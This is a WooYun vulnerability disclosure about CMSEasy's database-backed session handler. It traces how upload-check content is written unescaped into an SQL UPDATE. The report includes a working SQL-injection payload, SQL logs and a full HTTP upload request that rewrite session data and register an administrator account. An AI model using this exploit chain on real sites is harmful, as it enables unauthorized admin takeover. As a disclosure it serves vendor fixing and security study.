当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076542

漏洞标题:cmseasy 的一个高危漏洞(设计缺陷)

相关厂商:cmseasy

漏洞作者: Noxxx

提交时间:2014-09-19 12:51

修复时间:2014-12-18 12:52

公开时间:2014-12-18 12:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

这个可以做比较多的事。

详细说明:

因为他的session的机制是从 【数据库中取出 存入的】,所以有个注入点就可以操控他的session了。
在 front_class.php 1509 - 1522行中

class session {
static function get($key) {
if (isset($_SESSION[$key]))
return $_SESSION[$key];
else
return false;
}
static function set($key,$var) {
$_SESSION[$key]=$var;
}
static function del($key) {
unset($_SESSION[$key]);
}
}


session类,一些初级的操作。
构造函数中370行

new stsession(new sessionox());


因为有__autoload所以会自动载入文件.

final class stsession {
private $_path = null;
private $_name = null;
private $_db = null;
private $_ip = null;
private $_maxtime = 0;
private $_prefix = '';
public function __construct($db) {
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
//var_dump($db);
$this->_db = $db;
$this->_ip = $_SERVER['REMOTE_ADDR'];
$this->_maxtime = ini_get('session.gc_maxlifetime');
$config = config::get('database');
$this->_prefix = isset($config['prefix']) ? $config['prefix'] : '';
session_start();
$this->refresh(session_id());
}
public function open($path,$name) {
return true;
}
public function close(){
return true;
}
public function read($id)
{
$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
//var_dump($sql);
$res = $this->_db->query($sql);
if (!$row = $this->_db->fetch_array($res)) {
return null;
} elseif ($this->_ip != $row['client_ip']) {
if(config::get('session_ip')){
return null;
}else{
return $row['data'];
}
} elseif ($row['update_time']+$this->_maxtime < time()){
$this->destroy($id);
return null;
} else {
return $row['data'];
}
}
public function write($id,$data) {
$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
//var_dump($sql);
$res = $this->_db->query($sql);
$time = time();
$row = $this->_db->fetch_array($res);
if ($row) {
//if ($row['data'] != $data) {
$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";
$this->_db->query($sql);
//}
} else {
if (!empty($data)) {
$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";
$this->_db->query($sql);
}
}
return true;
}
public function destroy($id) {
$sql = "DELETE FROM {$this->_prefix}sessionox WHERE PHPSESSID = '$id'";
//var_dump($sql);
$this->_db->query($sql);
return true;
}
public function refresh($id){
$time = time();
$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time' WHERE PHPSESSID = '$id'";
//var_dump($sql);
$this->_db->query($sql);
$this->gc($this->_maxtime);
}
public function gc($maxtime){
$time = time() - $maxtime;
$sql = "DELETE FROM {$this->_prefix}sessionox WHERE update_time <= '$time'";
//var_dump($sql);
$this->_db->query($sql);
return true;
}
}


这个功能就是将session数据存储到数据库。

open(string $savePath, string $sessionName)
open 回调函数类似于类的构造函数, 在会话打开的时候会被调用。 这是自动开始会话或者通过调用 session_start() 手动开始会话 之后第一个被调用的回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。
close()
close 回调函数类似于类的析构函数。 在 write 回调函数调用之后调用。 当调用 session_write_close() 函数之后,也会调用 close 回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。
read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。
write(string $sessionId, string $data)
在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。
序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。
PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。


可以参考官网给的解释。
在这个类的构造函数中
session_start();
就打开了session,所以会依次执行下面的open read write close
read返回的是 :参见上面的说明 和serialize() 函数很相似,但是不是相同的。
这里流程差不多说完了.
------------------------
下面就是漏洞的地方
在 tool_act.php 184行 uploadfile_action中
这是一个上传的功能 其中有这样一条代码
在200行

if (!front::checkstr(@file_get_contents($file['tmp_name']))) {


checkstr函数 似乎是检查上传内容有没有一些危险代码吧。我们进去看看。
front_class.php 673行

function checkstr($str) {
if (preg_match("/<(\/?)(script|i?frame|style|html|body|title|link|meta)([^>]*?)>/is",$str,$match)) { //检查有没有出现上面的代码,有的话就打印传给flash()函数。照样我们跟入。
front::flash(print_r($match,true));
return false;
}
if (preg_match("/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/is",$str,$match)) {
return false;
}
return true;
}


在573行

static function flash($msg=null,$key='message') {
if (!isset($msg))
return self::showflash();
if (session::get($key))
$msg=session::get($key).' '.$msg;
session::set($key,$msg);//很明显是写入session中,会触发stsession 类中的write 写入到数据库里,但是呢_FILES是不受转义限制的,所以我们可以任意操作session
}


说明一下 write 流程是这样的 如果传入的 PHPSESSID 在表中没有记录的话就会插入一条记录
插入的
$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";
这样的,不能任意操作data列的数据。列都定死了。
如果里面有记录的话就会update
UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";
我们可以闭合单引号,来达到任意写session数据的目的。
---------------------------------------------------
现在来闭合单引号 front::flash(print_r($match,true));
用了print_r把所有的结果全部打印出来传给flash
输入<script> 匹配的好几个结果.

array(4) {
[0]=>
string(8) "<script>"
[1]=>
string(0) ""
[2]=>
string(6) "script"
[3]=>
string(0) ""
}


进入数据库是这样的(我这个是session表里已经有记录了的,没有记录的可以先请求一次<script>这个然后就有记录了。)因为他会把原先的数据会融合在一起的。

UPDATE cmseasy_sessionox SET update_time='1411039331',data='message|s:146:"Array
(
[0] => <script>
[1] =>
[2] => script
[3] =>
)
Array
(
[0] => <script>
[1] =>
[2] => script
[3] =>
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'


我研究了一下了
<script*/',DATA=111, client_ip=/*>
这样就可以闭合单引号了。
sql日志:

UPDATE cmseasy_sessionox SET update_time='1411039651',data='message|s:124:"Array
(
[0] => <script*/',DATA=111, client_ip=/*>
[1] =>
[2] => script
[3] => */',DATA=111, client_ip=/*
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'


现在我们只需要按照他的格式来写入DATA列里就可以了
他这个格式和 serialize相似
session的名字 |隔开 s 字符串 124长度 xxxx值 ;结束
message|s:4:"xxxx";
------------------
找了个地方可以直接注册管理员 或提升管理员 做个演示把。
在user_act.php respond_action函数中

$data=array(
'username'=>$username,
'password'=>$password,
'groupid'=>101,
'userip'=>front::ip(),
$classname=>session::get('openid'),
);


这个$classname = front::$get['ologin_code']; 也就是等于 $_GET['ologin_code']
我们可以直接把 groupid这个数组覆盖掉 因为 session::get('openid')已经可以控制的。
【这里插一句,之前没发现这个漏洞的时候我看到这里 发现了这个问题,之前的想法是 把password覆盖掉,因为session::get('openid')值是空的,注册成功后 所以底下会有个setcookie的地方。password 会被加密掉 加密方式就是 md5($_password.config::get('cookie_password'))
这个 因为 我们的密码是空的 ,所以获得了 config::get('cookie_password')密码的md5值。
而这个 cookie安全码是这样获得 config::modify(array('cookie_password' => md5(rand() . time())));
rand+安装时间。测试了 在windows下rand()生成的数字是不大于32768的.(自己在kail下测试生成的数非常大。。。)但是这样前提是知道安装时间才行..暴力破解的话 (一秒钟就需要3万条。)数量太大了。寻找安装时间,只能通过保存快照的一些网站入手了,但是这个效果不理想.(得到cookie安全码就可以注射。)】
(ps 下这里下面还有个登录的地方也是可以的

$post[$classname] = session::get('openid');
$this->_user->rec_update($post, 'userid=' . $row['userid']);


---------------------------------------------------------------------------

漏洞证明:

先让你的sessiono里有数据存入,我演示就用新的sessionid把

QQ截图20140918194222.jpg


数据库里已经有了

QQ截图20140918194329.jpg


然后在写入我们的session数据
openid|s:1:"2"; 转换成hex,好了提交成功了

<script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*>


er.jpg


然后我们在来注册。
(我先把我的新的session换上去)

cookie.jpg


http://127.0.0.1/cmseasy/index.php?case=user&act=respond&ologin_code=groupid
POST提交
regsubmit=1&username=test_Noxxx&password=test_Noxxx
提交了自动转跳了 ,

QQ截图20140918194857.jpg


看看数据库里

111111.jpg


好了 ,直接能登录后台

end.jpg


这个更改附件类型 应该可以直接上传php文件吧。
【附上POST包】:

POST /cmseasy/index.php?case=tool&act=uploadfile&isdebug=1 HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 245
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQENA9lBHWS8l97FJ
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=q8v84kj42pnc0AAA624mf5bA
------WebKitFormBoundaryQENA9lBHWS8l97FJ
Content-Disposition: form-data; name="data"; filename="test.jpg"
Content-Type: image/jpeg
<script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*>
------WebKitFormBoundaryQENA9lBHWS8l97FJ--


修复方案:

你们专业

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-20 07:48

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-10 09:45 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    牛逼,拜读了..

  2. 2014-10-10 12:46 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    腻害。。

  3. 2014-10-18 13:08 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    牛逼,拜读了..

  4. 2014-12-21 22:54 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    牛逼,拜读了

  5. 2015-05-18 11:31 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    牛逼,拜读了